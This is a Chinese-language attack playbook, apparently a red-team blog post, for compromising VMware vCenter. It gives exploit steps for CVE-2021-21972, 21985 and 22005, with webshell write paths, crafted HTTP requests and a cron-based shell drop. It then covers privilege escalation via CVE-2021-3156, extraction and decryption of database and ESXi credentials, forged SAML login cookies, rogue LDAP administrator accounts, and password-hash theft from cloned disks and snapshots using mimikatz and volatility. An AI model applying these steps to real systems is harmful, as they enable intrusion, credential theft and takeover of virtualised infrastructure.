S2-045
参考官方公告,一些老的Vcenter可以用S2-045直接冲。
CVE-2021-21972
任意文件上传漏洞,会解压用户tar中的文件并写入到服务器,此洞拿到shell后默认需要提权
接口在**/ui/vropspluginui/rest/services/uploadova**
利用思路:
- 写webshell
- 写私钥
写私钥
往目录../../home/vsphere-ui/.ssh/authorized_keys写就行
写webshell
Linuxshell路径
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log.jsp
对应shell地址是/ui/resources/log.jsp
Windows路径
../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/log.jsp
对应shell地址是/statsreport/log.jsp
vcenter访问不存在的路由比如/xx/xx会返回401,访问/resources/xx这种会返回404,有时候我们写shell到statsreport访问返回401,可能是statsreport这个模块没起来,可以试试其他路径如
../../../../ProgramData/VMware/vCenterServer/runtime/VMwareSTSService/webapps/openidconnect/log.jsp
对应shell地址是openidconnect/log.jsp
或者写入/vsphrere-client/
对应Vcenter 6.7的路径是
../../../../../ProgramData/VMware/vCenterServer/runtime/vsphere-client/server/work/deployer/s/global/29/container-app-war.war/log.jsp
Vcenter 6.5对应的路径是:
../../../../../ProgramData/VMware/vCenterServer/runtime/vsphere-client/server/work/deployer/s/global/27/0/container-app-war-6.1.0.war/log.jsp
对应shell地址是/vsphere-client/log.jsp
CVE-2021-21985
此洞拿到shell后默认需要提权
不出网利用
https://github.com/r0ckysec/CVE-2021-21985
利用ClassPathXmlApplicationContext类加载xml文件触发spel注入,weblogic和jackson都有关于这个类的cve,利用方式都差不多。
执行系统命令
网上脚本里很多
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
写文件
写文件的xml
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
BCEL执行java字节码
bcel执行java代码的xml,这样注内存马更方便。
注意:vCemter 7u3j及以上默认java版本是jdk8u251,此版本bcel无法使用。
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
出网利用
还有种利用方法是jndi注入,没啥特别需要讲的,正常的jndi利用就行
CVE-2021-22005
影响范围
- vCenter Server 7.0 < 7.0 U2c build-18356314
- vCenter Server 6.7 < 6.7 U3o build-18485166
- Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
- Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
- 6.7 vCenters Windows版本不受影响
利用
两种触发方式,一种是开启CIEP时(可发送特殊数据包开启)通过log4j记录日志的功能实现任意文件写入,另一种是通过Velocity模板注入执行代码。这个漏洞拿到的权限是root权限。
CIEP
可以写入任意文件,但是写入后的文件后缀固定是.json。_i参数控制可跳跃的路径,最终写入的文件路径如果存在就会把内容追加进文件,不存在就会创建文件,但当如果我们写入的文件名是因某些因素被删除过的文件名,则无法正常写文件。
1 | POST /analytics/telemetry/ph-stg/api/hyper/send?_c=&_i=/../../../../../../tmp/okok |
由于只能写入.json后缀的文件,所以略微有点鸡肋,但是对于linux的机器我们可以写入计划任务来执行写shell的操作
1 | POST /analytics/telemetry/ph-stg/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/appl3 |
等60s后可在https://172.16.64.143/idm/..;/hello.jsp 可以访问到shell(这里的/..;/
是因为Tomcat会将/..;/
视作/../
,可以利用该特性绕过vCenter某些版本的rhttpproxy的访问限制)。
Velocity
VelocityHelper.executeVelocityExpression触发velocity表达式执行。
可以用这个师傅的脚本打
log4j
可以直接写入内存马,且vcenter默认是tomcat,可以尝试利用tomcatbypass模块绕过jndi高版本限制写入内存马
1 | GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1 |
后渗透
提权
CVE-2021-3156
https://github.com/worawit/CVE-2021-3156
vCenter的linux版可以直接用sudo提权(测了7u1和7u3j),直接用网上的python脚本,c写的要编译,更麻烦。
重点讲讲两个脚本
需要在交互的情景使用,使用后会在/tmp/目录下生成一个二进制文件,执行文件即可获得一个root的shell
往指定地点写入文件内容,这个脚本会往/etc/passwd目录下写入一个gg用户,其实就是一个任意文件写入的利用。
我们可以通过更改写入的路径和写入的内容,写一个root权限的webshell到vCenter服务器上
改动PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’
APPEND_CONTENT=b’webshell内容’
即可在https://172.16.xx.xx/idm/..;/1.jsp (这里是用到了一个tomcat越权的tips,可以参考CVE-2021-22005的利用)得到一个root权限的webshell
操作数据库
https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%974-PostgreSQL
https://github.com/shmilylty/vhost_password_decrypt
vcenter默认数据库文件在windwos和linux下都叫vcdb.properties,配置文件中有数据库的明文账号密码
linux默认路径:
- /etc/vmware-vpx/vcdb.properties
- /etc/vmware/service-state/vpxd/vcdb.properties
Windows默认路径:
- C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
- C:\ProgramData\VMware\VMware VirtualCenter\vcdb.properties
利用数据库账号密码登录数据库,默认是postgresql数据库,默认只能在vCenter服务器本地登录
1 | psql -h localhost -d VCDB -U vc |
查询虚拟主机信息:
1 | VCDB=> SELECT id,datacenter_id,file_name,guest_os,ip_address,config FROM vc.vpx_vm; |
查询vCenter中配置的ESXI账号密码
1 | VCDB=> SELECT name,port,username,password,password_last_upd_dt,product_fullname FROM vc.vpxv_hosts; |
这个账号密码可以用来登录目标ESXI服务器的ssh,解密需要用到文件symkey.dat
1 | Windows: C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat |
使用脚本decrypt.py解密拿到明文密码
1 | python3 decrypt.py symkey.dat password.enc password.txt |
现在可以用解出来的密码登录ESXI服务器的SSH,但是ESXI服务器默认是没有开启SSH服务的,好在这个账号密码也能用于登录这个ESXI服务器的Web后台,所以我们可以登进ESXI后台开启SSH服务
至此我们就可以通过SSH连接ESXI服务器(虚拟机的磁盘文件都是存放在ESXI服务器上的,当此类文件过大不便于下载回本地时,我们可以通过本地SSH连上ESXI服务器去操作虚拟机的磁盘或者快照文件)
登录后台
对于vCenter这种集中管控系统,单纯的webshell价值不大,核心的东西在管控系统后台,我们需要找一些思路去登录vCenter后台。
SAML证书
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
在vCenter服务器上找到生成Cookie需要用到的数据库文件:
- Linux:
/storage/db/vmware-vmdir/data.mdb
- Windows:
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
- 除此以外真实环境中还有存放vCenter备份文件的地方,在lotus_backup.tar.gz文件中也保存有data.mdb
再使用脚本生成Cookie
直接使用生成的Cookie访问vCenter服务器https://172.16.64.143/ui
或者可以参考3gstudent的文章,区别就是3gsteudent改的脚本可以直接在目标vcenter上运行。
先上传vCenter_ExtraCertFromMdb.py 到目标vcenter服务器上
1 | python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb |
生成证书文件
然后把cat证书文件复制到本地,然后运行脚本vCenter_GenerateLoginCookie.py获取Cookie
重置密码
- Linux:
/usr/lib/vmware-vmdir/bin/vdcadmintool
- Windows:
C:\Program Files\VMware\vCenter Server\vmdird\vdcadmintool.exe
运行程序选择选项3可重制管理员账号密码
LDAP添加用户
可以在目标vCenter服务器直接用脚本vCenterLDAP_Manage.py加管理员用户
先增加用户
1 | python vCenterLDAP_Manage.py adduser |
例如增加一个apple@vsphere.local的用户,username就是用户名随便填,dn这里需要把第一个CN改成前面填写的用户名,然后DC字段与获取到的dcAccountDN一致,userPrincipalName这里就是真正的登录名,也需要与原本的保持一致,大概照着提示填写即可。
然后把用户加进管理员组
1 | python vCenterLDAP_Manage.py addadmin |
这里直接输入前面加用户的那个dn就行
添加完成后就能用新加的管理员账号登入后台了
获得锁屏机器密码或hash
假如我们要获取一台锁屏机器win7-zhanglili机器的hash,有哪些思路呢?
首先是一些Windows底层的思路,也即是网上常见的忘记Windows开机密码那一套
KON-BOOT
可以通过加载KON-BOOT镜像文件绕过密码登录进入操作系统后台,不过新点的版本要收费。
将KON-BOOT的iso镜像上传到vcenter中,克隆虚拟机获取目标机器win7-zhanglili的克隆机器fake-zhanglili,将fake-zhanglili的CD/DVD处镜像更换成KON-BOOT的iso
启动虚拟机fake-zhanglili,进入bios(可以选择启动到固件这个功能),把KON-BOOT的镜像文件顺序放到第一位
再次重启虚拟机进入KON-BOOT,后面一路回车
等KON-BOOT加载好后重启虚拟机,这时直接空密码就能登录操作系统或者直接用shift后门(5下shift)弹出cmd操作
PE工具
类似的,我们也可以利用PE工具绕过开机密码登录操作系统,就互联网上忘记Windows开机密码那一套都可以拿来撸
快照
指定目标机器win7-zhanglili生成快照
在数据存储中找到目标机器快照的.vmem文件或者.vmsn文件,下载到本地
使用采证工具volatility可以读明文密码或hash
1 | \\读取明文密码 |
具体profile值可参考
https://github.com/volatilityfoundation/volatility/wiki/2.6-Win-Profiles
快照文件过大的情景
如果快照文件很大或者网络带宽有问题,短时间内无法把快照文件下回本地,有无什么思路?
我们可以利用前面介绍的数据库相关手法控制ESXI服务器,直接在ESXI服务器上的ssh操作快照
挂载vmdk
克隆虚拟机win7-zhanglili生成虚拟机fake-zhanglili,克隆后的机器fake-zhanglili保持关机状态。(开机状态机器的vmdk是锁定的,我们无法直接获取到win7-zhanaglili机器的vmdk文件,所以需要通过克隆一个fake-zhanglili机器获取与win7-zhanglili相同的vmdk)
新建虚拟机或者找一台可控虚拟机挂载克隆后虚拟机的vmdk,这里我们利用镜像新建一个虚拟机win7-liangsan
右键编辑设置,给我们可控的虚拟机win7-liangsan挂载硬盘
选择克隆后机器fake-zhanglili的vmdk文件
然后我们打开虚拟机xin7-liangsan,可以发现已经挂载成功了
然后我们就找相关文件
1 | 从sam导本地hash可以尝试 |
这里我没搭建DC的环境,演示一下导出本地hash
这里咱们vcenter创建的虚拟机并不能很随便地和我们本机随意的复制粘贴,所以传输工具文件还有点小麻烦。解决思路大概分两种情况,一种是直接在我们新建的虚拟机win-liangsan上用工具取出hash,另一种思路是把文件拉回我们本地(这里vcenter上的机器装了vmtool也不能直接复制粘贴)
在虚拟机上导hash
直接内网找一个我们新建虚拟机能通的机器,在该机器上用python开个简单的web实现文件传输
把mimikatz传到我们新建虚拟机win-liangsan中,然后复制SAM和SYSTEM执行mimikatz即可导出本地hash
1 | mimikatz lsadump::sam /sam:SAM /system:SYSTEM |
PS:或者也可以制造一份存储有工具的vmdk上传到vcenter然后挂载到虚拟机里
拉到本地
方法一 激活复制/粘贴功能
参考官方文档在ESXI上添加设置,可以开启复制粘贴功能,可以直接复制虚拟机内的文件内容到本地,但是只能复制文件内容且有字符长度限制
1 | isolation.tools.copy.disable=false |
方法二 在我们可控的虚拟机上开启共享文件夹
把我们需要拉到本地的文件放到一个文件夹中,然后设置该文件夹为共享文件夹,然后从任意能网络通的地方net use连接设置了共享文件夹的虚拟机